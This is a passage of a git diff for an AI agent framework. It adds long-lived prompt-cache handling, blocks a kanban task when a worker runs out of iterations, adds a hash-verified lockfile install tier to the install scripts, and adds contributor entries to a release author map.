reasoning tags embedded in suppressed - # content should still reach the display — otherwise the - # reasoning box only appears as a post-response fallback, - # rendering it confusingly after the already-streamed - # response. Route suppressed content through the stream - # delta callback so its tag extraction can fire the - # reasoning display. Non-reasoning text is harmlessly - # suppressed by the CLI's _stream_delta when the stream - # box is already closed (tool boundary flush). - if self.stream_delta_callback: - try: - self.stream_delta_callback(delta.content) - self._record_streamed_assistant_text(delta.content) - except Exception: - pass + # Tool calls suppress regular content streaming (avoids + # displaying chatty "I'll use the tool..." text alongside + # tool calls). But reasoning tags embedded in suppressed + # content should still reach the display — otherwise the + # reasoning box only appears as a post-response fallback, + # rendering it confusingly after the already-streamed + # response. Route suppressed content through the stream + # delta callback so its tag extraction can fire the + # reasoning display. Non-reasoning text is harmlessly + # suppressed by the CLI's _stream_delta when the stream + # box is already closed (tool boundary flush). + elif self.stream_delta_callback: + try: + self.stream_delta_callback(delta.content) + self._record_streamed_assistant_text(delta.content) + except Exception: + pass # Accumulate tool call deltas — notify display on first name if delta and delta.tool_calls: @@ -8387,7 +8543,7 @@ def _try_activate_fallback(self, reason: "FailoverReason | None" = None) -> bool auth resolution and client construction — no duplicated provider→key mappings. """ - if reason in (FailoverReason.rate_limit, FailoverReason.billing): + if reason in {FailoverReason.rate_limit, FailoverReason.billing}: # Only start cooldown when leaving the primary provider. If we're # already on a fallback and chain-switching, the primary wasn't the # source of the 429 so the cooldown should not be reset/extended. @@ -8560,6 +8716,15 @@ def _try_activate_fallback(self, reason: "FailoverReason | None" = None) -> bool model=fb_model, ) ) + self._use_long_lived_prefix_cache = bool( + self._use_prompt_caching + and self._supports_long_lived_anthropic_cache( + provider=fb_provider, + base_url=fb_base_url, + api_mode=fb_api_mode, + model=fb_model, + ) + ) # LM Studio: preload before probing the fallback's context length. self._ensure_lmstudio_runtime_loaded() @@ -8636,6 +8801,16 @@ def _restore_primary_runtime(self) -> bool: "use_native_cache_layout", self.api_mode == "anthropic_messages" and self.provider == "anthropic", ) + # Long-lived prefix flag was added later — restore False on + # snapshots predating the new field, then re-evaluate against + # the restored provider/model in case the user had it enabled. + self._use_long_lived_prefix_cache = rt.get( + "use_long_lived_prefix_cache", + bool( + self._use_prompt_caching + and self._supports_long_lived_anthropic_cache() + ), + ) # ── Rebuild client for the primary provider ── if self.api_mode == "anthropic_messages": @@ -8713,7 +8888,7 @@ def _try_recover_primary_transport( if self._is_openrouter_url(): return False provider_lower = (self.provider or "").strip().lower() - if provider_lower in ("nous", "nous-research"): + if provider_lower in {"nous", "nous-research"}: return False try: @@ -9213,6 +9388,20 @@ def _qwen_prepare_chat_messages_inplace(self, messages: list) -> None: def _build_api_kwargs(self, api_messages: list) -> dict: """Build the keyword arguments dict for the active API mode.""" + # Resolve the tools array exactly once. When the long-lived + # prefix-cache layout is active (Claude on Anthropic / OpenRouter + # / Nous Portal), attach a 1h cache_control marker to the last + # tool — this caches the entire tools array cross-session via + # Anthropic's tools→system→messages prefix order. The function + # returns a deep copy, so self.tools is never mutated. + if self._use_long_lived_prefix_cache and self.tools: + from agent.prompt_caching import mark_tools_for_long_lived_cache + tools_for_api = mark_tools_for_long_lived_cache( + self.tools, long_lived_ttl=self._long_lived_cache_ttl, + ) + else: + tools_for_api = self.tools + if self.api_mode == "anthropic_messages": _transport = self._get_transport() anthropic_messages = self._prepare_anthropic_messages_for_api(api_messages) @@ -9224,7 +9413,7 @@ def _build_api_kwargs(self, api_messages: list) -> dict: return _transport.build_kwargs( model=self.model, messages=anthropic_messages, - tools=self.tools, + tools=tools_for_api, max_tokens=ephemeral_out if ephemeral_out is not None else self.max_tokens, reasoning_config=self.reasoning_config, is_oauth=self._is_anthropic_oauth, @@ -9244,7 +9433,7 @@ def _build_api_kwargs(self, api_messages: list) -> dict: return _bt.build_kwargs( model=self.model, messages=api_messages, - tools=self.tools, + tools=tools_for_api, max_tokens=self.max_tokens or 4096, region=region, guardrail_config=guardrail, @@ -9268,7 +9457,7 @@ def _build_api_kwargs(self, api_messages: list) -> dict: return _ct.build_kwargs( model=self.model, messages=_msgs_for_codex, - tools=self.tools, + tools=tools_for_api, reasoning_config=self.reasoning_config, session_id=getattr(self, "session_id", None), max_tokens=self.max_tokens, @@ -9359,7 +9548,7 @@ def _build_api_kwargs(self, api_messages: list) -> dict: return _ct.build_kwargs( model=self.model, messages=api_messages, - tools=self.tools, + tools=tools_for_api, base_url=self.base_url, timeout=self._resolved_api_call_timeout(), max_tokens=self.max_tokens, @@ -9391,7 +9580,7 @@ def _build_api_kwargs(self, api_messages: list) -> dict: return _ct.build_kwargs( model=self.model, messages=_msgs_for_chat, - tools=self.tools, + tools=tools_for_api, base_url=self.base_url, timeout=self._resolved_api_call_timeout(), max_tokens=self.max_tokens, @@ -10078,6 +10267,12 @@ def _compress_context(self, messages: list, system_message: str, *, approx_token self._session_db.end_session(self.session_id, "compression") old_session_id = self.session_id self.session_id = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_{uuid.uuid4().hex[:6]}" + os.environ["HERMES_SESSION_ID"] = self.session_id + try: + from gateway.session_context import _SESSION_ID + _SESSION_ID.set(self.session_id) + except Exception: + pass # Update session_log_file to point to the new session's JSON file self.session_log_file = self.logs_dir / f"session_{self.session_id}.json" self._session_db_created = False @@ -10089,25 +10284,6 @@ def _compress_context(self, messages: list, system_message: str, *, approx_token parent_session_id=old_session_id, ) self._session_db_created = True - # Forward any standing /goal state from the parent session to - # the continuation session so the goal loop survives - # auto-compression. Without this rebind, _get_goal_manager() - # constructs a fresh manager keyed on the new session_id, - # load_goal() returns None, mgr.is_active() is False, and - # the loop silently dies mid-task. The goal is stored in - # state_meta under "goal:" by hermes_cli.goals. - try: - _goal_meta_key_old = f"goal:{old_session_id}" - _goal_meta_key_new = f"goal:{self.session_id}" - _goal_blob = self._session_db.get_meta(_goal_meta_key_old) - if _goal_blob: - self._session_db.set_meta(_goal_meta_key_new, _goal_blob) - logger.info( - "goal: forwarded standing goal from %s → %s on compression", - old_session_id, self.session_id, - ) - except Exception as exc: - logger.debug("goal forward on compression failed: %s", exc) # Auto-number the title for the continuation session if old_title: try: @@ -10326,7 +10502,7 @@ def _invoke_tool(self, function_name: str, function_args: dict, effective_task_i store=self._memory_store, ) # Bridge: notify external memory provider of built-in memory writes - if self._memory_manager and function_args.get("action") in ("add", "replace"): + if self._memory_manager and function_args.get("action") in {"add", "replace"}: try: self._memory_manager.on_memory_write( function_args.get("action", ""), @@ -10425,7 +10601,7 @@ def _execute_tool_calls_concurrent(self, assistant_message, messages: list, effe function_args = {} # Checkpoint for file-mutating tools - if function_name in ("write_file", "patch") and self._checkpoint_mgr.enabled: + if function_name in {"write_file", "patch"} and self._checkpoint_mgr.enabled: try: file_path = function_args.get("path", "") if file_path: @@ -10839,12 +11015,11 @@ def _execute_tool_calls_sequential(self, assistant_message, messages: list, effe # Tool blocked by plugin or guardrail policy — skip counters, # callbacks, checkpointing, activity mutation, and real execution. pass - else: - # Reset nudge counters when the relevant tool is actually used - if function_name == "memory": - self._turns_since_memory = 0 - elif function_name == "skill_manage": - self._iters_since_skill = 0 + # Reset nudge counters when the relevant tool is actually used + elif function_name == "memory": + self._turns_since_memory = 0 + elif function_name == "skill_manage": + self._iters_since_skill = 0 if not self.quiet_mode: args_str = json.dumps(function_args, ensure_ascii=False) @@ -10883,7 +11058,7 @@ def _execute_tool_calls_sequential(self, assistant_message, messages: list, effe logging.debug(f"Tool start callback error: {cb_err}") # Checkpoint: snapshot working dir before file-mutating tools - if not _execution_blocked and function_name in ("write_file", "patch") and self._checkpoint_mgr.enabled: + if not _execution_blocked and function_name in {"write_file", "patch"} and self._checkpoint_mgr.enabled: try: file_path = function_args.get("path", "") if file_path: @@ -10955,7 +11130,7 @@ def _execute_tool_calls_sequential(self, assistant_message, messages: list, effe store=self._memory_store, ) # Bridge: notify external memory provider of built-in memory writes - if self._memory_manager and function_args.get("action") in ("add", "replace"): + if self._memory_manager and function_args.get("action") in {"add", "replace"}: try: self._memory_manager.on_memory_write( function_args.get("action", ""), @@ -12053,20 +12228,42 @@ def run_conversation( # Ephemeral additions are API-call-time only (not persisted to session DB). # External recall context is injected into the user message, not the system # prompt, so the stable cache prefix remains unchanged. - effective_system = active_system_prompt or "" - if self.ephemeral_system_prompt: - effective_system = (effective_system + "\n\n" + self.ephemeral_system_prompt).strip() + # + # When the long-lived prefix-cache layout is active (Claude on + # Anthropic / OpenRouter / Nous Portal), we build the system + # message as a *list of content blocks*: [stable, context, + # volatile, ephemeral?]. Block 0 (stable) gets the 1h + # cache_control marker further down via + # apply_anthropic_cache_control_long_lived; blocks 1-3 are + # cached only via the rolling messages window at 5m. # NOTE: Plugin context from pre_llm_call hooks is injected into the # user message (see injection block above), NOT the system prompt. # This is intentional — system prompt modifications break the prompt # cache prefix. The system prompt is reserved for Hermes internals. - if effective_system: - api_messages = [{"role": "system", "content": effective_system}] + api_messages + if self._use_long_lived_prefix_cache: + _sys_parts = self._build_system_prompt_parts(system_message=system_message) + _sys_blocks: list = [] + if _sys_parts.get("stable"): + _sys_blocks.append({"type": "text", "text": _sys_parts["stable"]}) + if _sys_parts.get("context"): + _sys_blocks.append({"type": "text", "text": _sys_parts["context"]}) + if _sys_parts.get("volatile"): + _sys_blocks.append({"type": "text", "text": _sys_parts["volatile"]}) + if self.ephemeral_system_prompt: + _sys_blocks.append({"type": "text", "text": self.ephemeral_system_prompt}) + if _sys_blocks: + api_messages = [{"role": "system", "content": _sys_blocks}] + api_messages + else: + effective_system = active_system_prompt or "" + if self.ephemeral_system_prompt: + effective_system = (effective_system + "\n\n" + self.ephemeral_system_prompt).strip() + if effective_system: + api_messages = [{"role": "system", "content": effective_system}] + api_messages # Inject ephemeral prefill messages right after the system prompt # but before conversation history. Same API-call-time-only pattern. if self.prefill_messages: - sys_offset = 1 if effective_system else 0 + sys_offset = 1 if (api_messages and api_messages[0].get("role") == "system") else 0 for idx, pfm in enumerate(self.prefill_messages): api_messages.insert(sys_offset + idx, pfm.copy()) @@ -12077,12 +12274,27 @@ def run_conversation( # to reduce input token costs by ~75% on multi-turn # conversations. Layout is chosen per endpoint by # ``_anthropic_prompt_cache_policy``. + # + # Long-lived prefix layout (prefix_and_2): stable system block + # gets 1h marker + last 2 messages get 5m markers. Tools + # array's last entry is marked separately at API-call kwargs + # build time (see ``_build_api_kwargs`` and + # ``mark_tools_for_long_lived_cache``). if self._use_prompt_caching: - api_messages = apply_anthropic_cache_control( - api_messages, - cache_ttl=self._cache_ttl, - native_anthropic=self._use_native_cache_layout, - ) + if self._use_long_lived_prefix_cache: + from agent.prompt_caching import apply_anthropic_cache_control_long_lived + api_messages = apply_anthropic_cache_control_long_lived( + api_messages, + long_lived_ttl=self._long_lived_cache_ttl, + rolling_ttl=self._cache_ttl, + native_anthropic=self._use_native_cache_layout, + ) + else: + api_messages = apply_anthropic_cache_control( + api_messages, + cache_ttl=self._cache_ttl, + native_anthropic=self._use_native_cache_layout, + ) # Safety net: strip orphaned tool results / add stubs for missing # results before sending to the API. Runs unconditionally — not @@ -12485,9 +12697,9 @@ def _stop_spinner(): _failure_hint = f"upstream gateway timeout (504, {api_duration:.0f}s)" elif _resp_error_code == 429: _failure_hint = f"rate limited by upstream provider (429)" - elif _resp_error_code in (500, 502): + elif _resp_error_code in {500, 502}: _failure_hint = f"upstream server error ({_resp_error_code}, {api_duration:.0f}s)" - elif _resp_error_code in (503, 529): + elif _resp_error_code in {503, 529}: _failure_hint = f"upstream provider overloaded ({_resp_error_code})" elif _resp_error_code is not None: _failure_hint = f"upstream error (code {_resp_error_code}, {api_duration:.0f}s)" @@ -12675,7 +12887,7 @@ def _stop_spinner(): "error": _exhaust_error, } - if self.api_mode in ("chat_completions", "bedrock_converse", "anthropic_messages"): + if self.api_mode in {"chat_completions", "bedrock_converse", "anthropic_messages"}: assistant_message = _trunc_msg if assistant_message is not None and not _trunc_has_tool_calls: length_continue_retries += 1 @@ -12715,7 +12927,7 @@ def _stop_spinner(): "error": "Response remained truncated after 3 continuation attempts", } - if self.api_mode in ("chat_completions", "bedrock_converse", "anthropic_messages"): + if self.api_mode in {"chat_completions", "bedrock_converse", "anthropic_messages"}: assistant_message = _trunc_msg if assistant_message is not None and _trunc_has_tool_calls: if truncated_tool_call_retries < 1: @@ -13136,6 +13348,21 @@ def _stop_spinner(): "does not support multimodal", "does not support vision", "model does not support image", + # ChatGPT-account Codex backend + # (https://chatgpt.com/backend-api/codex) rejects + # data:image/...base64 URLs in input_image fields + # with HTTP 400 "Invalid 'input[N].content[K].image_url'. + # Expected a valid URL, but got a value with an + # invalid format." The OpenAI Responses API on the + # public endpoint accepts data URLs, but the + # ChatGPT-account variant does not. Without this + # phrase the agent cascaded into compression / + # context-too-large recovery instead of just + # stripping the images. Match is narrow on + # purpose — keyed on the field-path apostrophe so + # we don't false-trip on other URL validation + # errors. (issue #23570) + "image_url'. expected", ) _err_lower = _err_body.lower() _looks_like_image_rejection = any( @@ -13532,10 +13759,10 @@ def _stop_spinner(): # When a fallback model is configured, switch immediately instead # of burning through retries with exponential backoff -- the # primary provider won't recover within the retry window. - is_rate_limited = classified.reason in ( + is_rate_limited = classified.reason in { FailoverReason.rate_limit, FailoverReason.billing, - ) + } if is_rate_limited and self._fallback_index < len(self._fallback_chain): # Don't eagerly fallback if credential pool rotation may # still recover. See _pool_may_recover_from_rate_limit @@ -13860,7 +14087,7 @@ def _stop_spinner(): or ( not classified.retryable and not classified.should_compress - and classified.reason not in ( + and classified.reason not in { FailoverReason.rate_limit, FailoverReason.billing, FailoverReason.overloaded, @@ -13868,7 +14095,7 @@ def _stop_spinner(): FailoverReason.payload_too_large, FailoverReason.long_context_tier, FailoverReason.thinking_signature, - ) + } ) ) and not is_context_length_error @@ -14987,7 +15214,41 @@ def _stop_spinner(): "— requesting summary..." ) final_response = self._handle_max_iterations(messages, api_call_count) - + + # If running as a kanban worker, block the task so the dispatcher + # knows the worker could not complete (rather than treating it as a + # protocol violation). The agent loop strips tools before calling + # _handle_max_iterations, so the model cannot call kanban_block + # itself — we must do it on its behalf. + _kanban_task = os.environ.get("HERMES_KANBAN_TASK") + if _kanban_task: + try: + handle_function_call( + "kanban_block", + { + "task_id": _kanban_task, + "reason": ( + f"Iteration budget exhausted " + f"({api_call_count}/{self.max_iterations}) — " + "task could not complete within the allowed " + "iterations" + ), + }, + task_id=effective_task_id, + ) + logger.info( + "kanban_block called for task %s after iteration " + "exhaustion (%d/%d)", + _kanban_task, api_call_count, self.max_iterations, + ) + except Exception: + logger.warning( + "Failed to call kanban_block after iteration " + "exhaustion for task %s", + _kanban_task, + exc_info=True, + ) + # Determine if conversation completed successfully completed = final_response is not None and api_call_count < self.max_iterations @@ -15281,9 +15542,9 @@ def main( info = get_toolset_info(name) if info: entry = (name, info) - if name in ["web", "terminal", "vision", "creative", "reasoning"]: + if name in {"web", "terminal", "vision", "creative", "reasoning"}: basic_toolsets.append(entry) - elif name in ["research", "development", "analysis", "content_creation", "full_stack"]: + elif name in {"research", "development", "analysis", "content_creation", "full_stack"}: composite_toolsets.append(entry) else: scenario_toolsets.append(entry) diff --git a/scripts/build_skills_index.py b/scripts/build_skills_index.py index 96a0b6375969..206a80124366 100644 --- a/scripts/build_skills_index.py +++ b/scripts/build_skills_index.py @@ -147,7 +147,7 @@ def batch_resolve_paths(skills: list, auth: GitHubAuth) -> list: 4. Match skills to their resolved paths """ # Filter to skills.sh entries that need resolution - skills_sh = [s for s in skills if s["source"] in ("skills.sh", "skills-sh")] + skills_sh = [s for s in skills if s["source"] in {"skills.sh", "skills-sh"}] if not skills_sh: return skills diff --git a/scripts/install.ps1 b/scripts/install.ps1 index ed0f802a1c92..56a338ea0699 100644 --- a/scripts/install.ps1 +++ b/scripts/install.ps1 @@ -793,30 +793,87 @@ function Install-Dependencies { # Tell uv to install into our venv (no activation needed) $env:VIRTUAL_ENV = "$InstallDir\venv" } - + + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive dependency, so a compromised transitive (different hash + # than what we shipped) is REJECTED by the resolver. This is the + # *only* path that protects against the "direct dep is fine, but the + # dep's dep got worm-poisoned overnight" failure mode. The + # `uv pip install` tiers below re-resolve transitives fresh from PyPI + # without any hash verification — they exist to keep installs working + # when the lockfile is stale, missing, or out-of-sync with the + # current extras spec, NOT because they're equivalent in posture. + if (Test-Path "uv.lock") { + Write-Info "Trying tier: hash-verified (uv.lock) ..." + & $UvCmd sync --all-extras --locked + if ($LASTEXITCODE -eq 0) { + Write-Success "Main package installed (hash-verified via uv.lock)" + $script:InstalledTier = "hash-verified (uv.lock)" + # Skip the rest of the tiered cascade — we already have a + # complete, hash-verified install. + $skipPipFallback = $true + } else { + Write-Warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." + $skipPipFallback = $false + } + } else { + Write-Info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + $skipPipFallback = $false + } + # Install main package. Tiered fallback so a single flaky git+https dep # (atroposlib / tinker in the [rl] extra) doesn't silently drop # dashboard/MCP/cron/messaging extras. Each tier's stdout/stderr is # preserved — no Out-Null swallowing — so the user can see what failed. # # Tier 1: [all] — everything, including RL git+https deps (best case). - # Tier 2: [core-extras] synthesised locally — all PyPI-only extras we - # ship (web, mcp, cron, cli, voice, messaging, slack, dev, acp, - # pty, homeassistant, sms, tts-premium, honcho, google, mistral, - # bedrock, dingtalk, feishu, modal, daytona, vercel). Drops [rl] - # and [matrix] (linux-only) which are the usual failure culprits. - # Tier 3: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly + # Tier 2: [all] minus a small list of currently-broken extras. The + # broken list is centralised in $brokenExtras below — when + # a package gets quarantined / yanked / pulled, add it here + # and the resolver no longer chokes on it. This is what saves + # the user from silently losing 10+ unrelated extras every + # time one upstream package breaks. + # Tier 3: [core-extras] synthesised locally — all PyPI-only extras we + # ship, also minus $brokenExtras. Drops [rl] and [matrix] + # (linux-only) which are the usual failure culprits. + # Tier 4: [web,mcp,cron,cli,messaging,dev] — the minimum we strongly # believe a user expects `hermes dashboard` / slash commands / # cron / messaging platforms to work out of the box. - # Tier 4: bare `.` — last-resort so at least the core CLI launches. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + + # Currently-broken extras. Edit this list when an upstream package + # gets quarantined / yanked / breaks resolution. Empty means everything + # in [all] should be installable; populate with the names of extras + # whose deps are temporarily unavailable to keep installs working + # for users. + $brokenExtras = @() + + $allExtras = @( + "modal","daytona","vercel","messaging","matrix","cron","cli","dev", + "tts-premium","slack","pty","honcho","mcp","homeassistant","sms", + "acp","voice","dingtalk","feishu","google","bedrock","web", + "youtube" + ) + $pypiExtras = @( + "web","mcp","cron","cli","voice","messaging","slack","dev","acp", + "pty","homeassistant","sms","tts-premium","honcho","google", + "bedrock","dingtalk","feishu","modal","daytona","vercel","youtube" + ) + $safeAll = ($allExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $safePypi = ($pypiExtras | Where-Object { $brokenExtras -notcontains $_ }) -join "," + $brokenLabel = if ($brokenExtras) { ($brokenExtras -join ", ") } else { "none" } + $installTiers = @( @{ Name = "all (with RL/matrix extras)"; Spec = ".[all]" }, - @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[web,mcp,cron,cli,voice,messaging,slack,dev,acp,pty,homeassistant,sms,tts-premium,honcho,google,mistral,bedrock,dingtalk,feishu,modal,daytona,vercel]" }, + @{ Name = "all minus known-broken ($brokenLabel)"; Spec = ".[$safeAll]" }, + @{ Name = "PyPI-only extras (no git deps)"; Spec = ".[$safePypi]" }, @{ Name = "dashboard + core platforms"; Spec = ".[web,mcp,cron,cli,messaging,dev]" }, @{ Name = "core only (no extras)"; Spec = "." } ) - $installed = $false - foreach ($tier in $installTiers) { + $installed = $skipPipFallback + if (-not $skipPipFallback) { + foreach ($tier in $installTiers) { Write-Info "Trying tier: $($tier.Name) ..." & $UvCmd pip install -e $tier.Spec if ($LASTEXITCODE -eq 0) { @@ -826,6 +883,7 @@ function Install-Dependencies { break } Write-Warn "Tier '$($tier.Name)' failed (exit $LASTEXITCODE). Trying next tier..." + } } if (-not $installed) { throw "Failed to install hermes-agent package even with no extras. Inspect the uv pip install output above." diff --git a/scripts/install.sh b/scripts/install.sh index bc391eee43c7..f4fccea7d9e8 100755 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -1060,20 +1060,124 @@ install_deps() { fi # Install the main package in editable mode with all extras. - # Try [all] first, fall back to base install if extras have issues. - ALL_INSTALL_LOG=$(mktemp) - if ! $UV_CMD pip install -e ".[all]" 2>"$ALL_INSTALL_LOG"; then - log_warn "Full install (.[all]) failed, trying base install..." - log_info "Reason: $(tail -5 "$ALL_INSTALL_LOG" | head -3)" - rm -f "$ALL_INSTALL_LOG" - if ! $UV_CMD pip install -e "."; then - log_error "Package installation failed." - log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" - log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" - exit 1 + # + # Hash-verified install (Tier 0) — when uv.lock is present, prefer + # `uv sync --locked`. The lockfile records SHA256 hashes for every + # transitive, so a compromised transitive (different hash than what + # we shipped) is REJECTED by the resolver. This is the *only* path + # that protects against the "direct dep is fine, but the dep's dep + # got worm-poisoned overnight" failure mode. All `uv pip install` + # tiers below re-resolve transitives fresh from PyPI without any + # hash verification — they exist to keep installs working when the + # lockfile is stale, missing, or out-of-sync with the current + # extras spec, NOT because they're equivalent in posture. + if [ -f "uv.lock" ]; then + log_info "Trying tier: hash-verified (uv.lock) ..." + if UV_PROJECT_ENVIRONMENT="$INSTALL_DIR/venv" $UV_CMD sync --all-extras --locked 2>"$(mktemp)"; then + log_success "Main package installed (hash-verified via uv.lock)" + log_success "All dependencies installed" + return 0 fi + log_warn "uv.lock sync failed (lockfile may be stale), falling back to PyPI resolve..." else - rm -f "$ALL_INSTALL_LOG" + log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)" + fi + + # Multi-tier fallback. The point of the tiers is that ONE compromised + # PyPI package (a worm-poisoned release that gets quarantined, like + # mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a + # fresh install all the way down to "core only" — the user should keep + # everything else they signed up for. + # + # Tier 1: [all] — everything, including RL git+https deps (best case). + # Tier 2: [all] minus the currently-broken extras list. Edit + # _BROKEN_EXTRAS below when something on PyPI breaks; this lets + # users keep voice/honcho/google/slack/matrix/etc. even when + # one transitive is unavailable. List the extras here as bare + # names from pyproject.toml [project.optional-dependencies] — + # the script translates them to `[a,b,c]` form below. + # Tier 3: PyPI-only extras (no git deps) — drops [rl] / [yc-bench] + # which are git+https and may fail in restricted networks. + # Tier 4: dashboard + core platforms — minimum viable interactive set. + # Tier 5: bare `.` — last-resort so at least the core CLI launches. + # + # Each tier's stderr is captured to a tempfile so we can show the user + # WHY the higher tier failed instead of silently dropping support. + local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable + local _ALL_EXTRAS=( + modal daytona vercel messaging matrix cron cli dev tts-premium slack + pty honcho mcp homeassistant sms acp voice dingtalk feishu google + bedrock web youtube + ) + # Tier 2: all extras minus _BROKEN_EXTRAS + local _SAFE_EXTRAS=() + local _e _b _skip + for _e in "${_ALL_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi + done + local _SAFE_SPEC + _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" + # Tier 3: PyPI-only extras (no git deps), still skipping broken ones. + # Mirrors the install.ps1 list but excludes [rl] / [yc-bench] / [matrix] + # (matrix needs python-olm which fails to build on some hosts). + local _PYPI_EXTRAS=( + web mcp cron cli voice messaging slack dev acp pty homeassistant sms + tts-premium honcho google bedrock dingtalk feishu modal daytona vercel + youtube + ) + local _PYPI_SAFE=() + for _e in "${_PYPI_EXTRAS[@]}"; do + _skip=false + for _b in "${_BROKEN_EXTRAS[@]}"; do + if [ "$_e" = "$_b" ]; then _skip=true; break; fi + done + if [ "$_skip" = false ]; then _PYPI_SAFE+=("$_e"); fi + done + local _PYPI_SPEC + _PYPI_SPEC=".[$(IFS=,; echo "${_PYPI_SAFE[*]}")]" + local _TIER4_SPEC=".[web,mcp,cron,cli,messaging,dev]" + + ALL_INSTALL_LOG=$(mktemp) + local _installed=false + local _tier_name="" + + install_tier() { + local name="$1"; local spec="$2" + log_info "Trying tier: $name ..." + if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then + log_success "Main package installed ($name)" + _installed=true + _tier_name="$name" + return 0 + fi + log_warn "Tier '$name' failed. Top of pip output:" + head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2 + return 1 + } + + install_tier "all (with RL/matrix extras)" ".[all]" \ + || install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \ + || install_tier "PyPI-only extras (no git deps)" "$_PYPI_SPEC" \ + || install_tier "dashboard + core platforms" "$_TIER4_SPEC" \ + || install_tier "core only (no extras)" "." + + rm -f "$ALL_INSTALL_LOG" + + if [ "$_installed" = false ]; then + log_error "Package installation failed even with no extras." + log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" + log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" + exit 1 + fi + + if [ "$_tier_name" != "all (with RL/matrix extras)" ]; then + log_warn "Note: installed via fallback tier ($_tier_name)." + log_info "Some optional features may be missing. After resolving any" + log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'" fi log_success "Main package installed" diff --git a/scripts/profile-tui.py b/scripts/profile-tui.py index edbdf2ee453a..788fd464bc9b 100755 --- a/scripts/profile-tui.py +++ b/scripts/profile-tui.py @@ -15,7 +15,7 @@ Environment overrides: HERMES_PERF_LOG (default ~/.hermes/perf.log) HERMES_PERF_NODE (default node from $PATH) - HERMES_TUI_DIR (default /home/bb/hermes-agent/ui-tui) + HERMES_TUI_DIR (default: /ui-tui relative to this script) Exit code is 0 if the harness ran and parsed results, 2 if the TUI crashed or produced no perf data (suggests HERMES_DEV_PERF wiring is broken). @@ -44,7 +44,10 @@ def get_hermes_home() -> Path: # type: ignore[misc] val = (os.environ.get("HERMES_HOME") or "").strip() return Path(val) if val else Path.home() / ".hermes" -DEFAULT_TUI_DIR = Path(os.environ.get("HERMES_TUI_DIR", "/home/bb/hermes-agent/ui-tui")) +DEFAULT_TUI_DIR = Path( + os.environ.get("HERMES_TUI_DIR") + or str(Path(__file__).resolve().parent.parent / "ui-tui") +) DEFAULT_LOG = Path(os.environ.get("HERMES_PERF_LOG", str(get_hermes_home() / "perf.log"))) DEFAULT_STATE_DB = get_hermes_home() / "state.db" @@ -343,7 +346,7 @@ def key_metrics(data: dict[str, Any]) -> dict[str, float]: metrics["backpressure_frames"] = bp if react: - for pid in set(e["id"] for e in react): + for pid in {e["id"] for e in react}: ms = [e["actualMs"] for e in react if e["id"] == pid] metrics[f"react_{pid}_p99"] = pct(ms, 0.99) metrics[f"react_{pid}_max"] = max(ms) @@ -360,7 +363,7 @@ def format_diff(before: dict[str, float], after: dict[str, float]) -> str: b = before.get(k, 0.0) a = after.get(k, 0.0) d = a - b - pct_change = ((a / b) - 1) * 100 if b not in (0, 0.0) else float("inf") if a else 0 + pct_change = ((a / b) - 1) * 100 if b not in {0, 0.0} else float("inf") if a else 0 # Flag improvements vs regressions. For _p99 / _max / _total / gaps_over / # patches / writeBytes / backpressure, LOWER is better. For fps / gaps_under, diff --git a/scripts/release.py b/scripts/release.py index 441a27d84890..768a79a48339 100755 --- a/scripts/release.py +++ b/scripts/release.py @@ -50,7 +50,10 @@ "buraysandro9@gmail.com": "ygd58", "teknium@nousresearch.com": "teknium1", "piyushvp1@gmail.com": "thelumiereguy", + "421774554@qq.com": "wuli666", "harish.kukreja@gmail.com": "counterposition", + "1046611633@qq.com": "zhengyn0001", + "ahmed@abadr.net": "ahmedbadr3", "cleo@edaphic.xyz": "curiouscleo", "hirokazu.ogawa@kwansei.ac.jp": "hrkzogw", "datapod.k@gmail.com": "dandacompany", @@ -86,6 +89,7 @@ "maksesipov@gmail.com": "Qwinty", "denisamania@gmail.com": "CalmProton", "308068+mbac@users.noreply.github.com": "mbac", + "nicoechaniz@altermundi.net": "nicoechaniz", "ninso112@proton.me": "Ninso112", "wesleysimplicio@live.com": "wesleysimplicio", "matthew.dean.cater@gmail.com": "SiliconID", @@ -971,6 +975,15 @@ "jhin.lee@unity3d.com": "leehack", # PR #22053 salvage (telegram DM topic reply fallback) # pander: empty email, salvaged via PR #19665 from #16126 by @ms-alan "ayman.a.kamal@hotmail.com": "A-kamal", # PR #18678 (xAI image resolution fix) + # Kanban bug-fix batch salvage (May 2026) + "frowte3k@gmail.com": "Frowtek", # salvage of #23206 (gateway --board auto-subscribe) + "sylw3st3rr@gmail.com": "Sylw3ster", # salvage of #23252 (HERMES_KANBAN_BOARD restore) + "hello@dominikh.com": "dmnkhorvath", # salvage of #23358 (kanban worker send_message) + "413011+smwbev@users.noreply.github.com": "smwbev", # salvage of #23659 (aria-label colLabel) + "58116817+TurgutKural@users.noreply.github.com": "TurgutKural", # salvage of #23356 (HERMES_HOME inject) + "openclaw@agent.local": "29206394", # PR #22194 salvage (sudo -S brute-force guard, #9590) + "freedemon@gmail.com": "fr33d3m0n", # PR #21128 salvage (sudo stdin/askpass DANGEROUS, #17873 cat 4) + "zhaowh3613@outlook.com": "VinceZcrikl", # PR #23647 salvage (npm UTF-8 decode on GBK Windows) } @@ -1415,7 +1428,7 @@ def main(): print(f" SemVer: v{current_version} 